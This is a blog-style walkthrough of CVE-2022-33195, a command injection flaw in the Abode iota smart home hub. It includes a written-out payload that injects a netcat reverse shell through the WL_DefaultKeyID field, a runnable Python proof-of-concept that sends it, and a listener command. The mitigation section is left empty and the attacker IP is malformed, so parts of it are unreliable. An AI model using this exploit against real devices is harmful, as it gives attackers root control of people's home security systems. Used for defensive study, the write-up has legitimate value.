*Published: 2024-06-21*

1. Overview

In mid-2022, security researchers flagged critical OS command injection holes in the Abode Systems iota All-In-One Security Kit (firmware 6.9X and 6.9Z). These bugs, tracked as CVE-2022-33195, could let hackers remotely take control of your smart home hub by simply sending malicious commands. This post takes you through how it all works, shows code, and gives clear steps to understand the exploit and its risk.

2. The Vulnerability Explained

*Four* separate OS command injection vulnerabilities were discovered in the XCMD testWifiAP function. This function is supposed to help test WiFi settings through the device’s management interface. Unfortunately, it dangerously uses user-controlled input in system commands without cleaning it, opening the door for attackers.

The main pain point is the WL_DefaultKeyID argument. It gets passed straight into a shell command, so a crafty hacker can inject their own commands with a specifically crafted request.

3. Where’s the Problem? (Diving into the Firmware)

When the iota receives an XCMD request to testWifiAP, it runs code (at x1c7d28) which eventually executes this logic:

// Pseudocode from reverse engineering
char wlkeyid[32];
strcpy(wlkeyid, request->WL_DefaultKeyID);

// Unsafe use in shell command
char command[128];
sprintf(command, "/usr/bin/somewifiutil --keyid=%s", wlkeyid);

system(command); // BOOM: Unsanitized user input lands here

This means any code the attacker puts into WL_DefaultKeyID will be run as root on the device.

At offset x1c7fac, the actual system() call occurs. No input filtering happens. This opens the whole Linux environment to remote attackers, if they can reach the device (LAN or WAN, depending on exposure).

4. How Does the Exploit Work?

An attacker just needs to send a specially crafted request, with a malicious value for WL_DefaultKeyID. For example:

`

WL_DefaultKeyID=1;nc 192.168..5 4444 -e /bin/sh;

`

Here, the attacker tricks the shell into running their extra command. In this case, it opens a netcat reverse shell to their listening system.

The Abode iota trusts the input and executes

/usr/bin/somewifiutil --keyid=1;nc 192.168..5 4444 -e /bin/sh;


Everything after the semicolon is interpreted as a fresh command, and gets executed as the root user.

5. Proof-of-Concept Code

Here’s a simple Python script to demonstrate the exploit. (Note: this is for education and defense, not for illegal use!)

import requests

target_url = "http://iotadev.local/cgi-bin/xcmd_handler";
attacker_ip = "192.168..5"
attacker_port = "4444"

payload = f"1;nc {attacker_ip} {attacker_port} -e /bin/sh;"

data = {
    "XCMD": "testWifiAP",
    "WL_DefaultKeyID": payload
}

response = requests.post(target_url, data=data)
print(f"Status: {response.status_code}")
print("Exploit sent. Listen for reverse shell on attacker machine.")

Before running the exploit, on the attacker’s device

nc -lvp 4444

Warning: Only test on devices you own or have permission to test!

6. Mitigation & References

If you use an Abode iota with affected firmware:

References and Further Reading

- CVE-2022-33195 on NIST NVD
- Original Advisory from RedTeam Pentesting
- Exploit Database Entry
- Firmware Analysis on GitHub

7. Closing Thoughts

CVE-2022-33195 is a classic example of what happens if we trust user input when building shell commands in C. While this story focuses on one argument, WL_DefaultKeyID, similar bugs can lurk in all sorts of IoT products.

If you own an Abode iota hub, or similar devices, keep them updated and block untrusted network access. And if you’re building device software, never pass user input to system() or similar functions unsanitized!


*Stay safe, and keep your smart home smarter (not hackable).*


*Exclusive Content by OpenAI Language Model, summarizing and demonstrating CVE-2022-33195 for defenders and enthusiasts.*

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/26/2022 18:52:00 UTC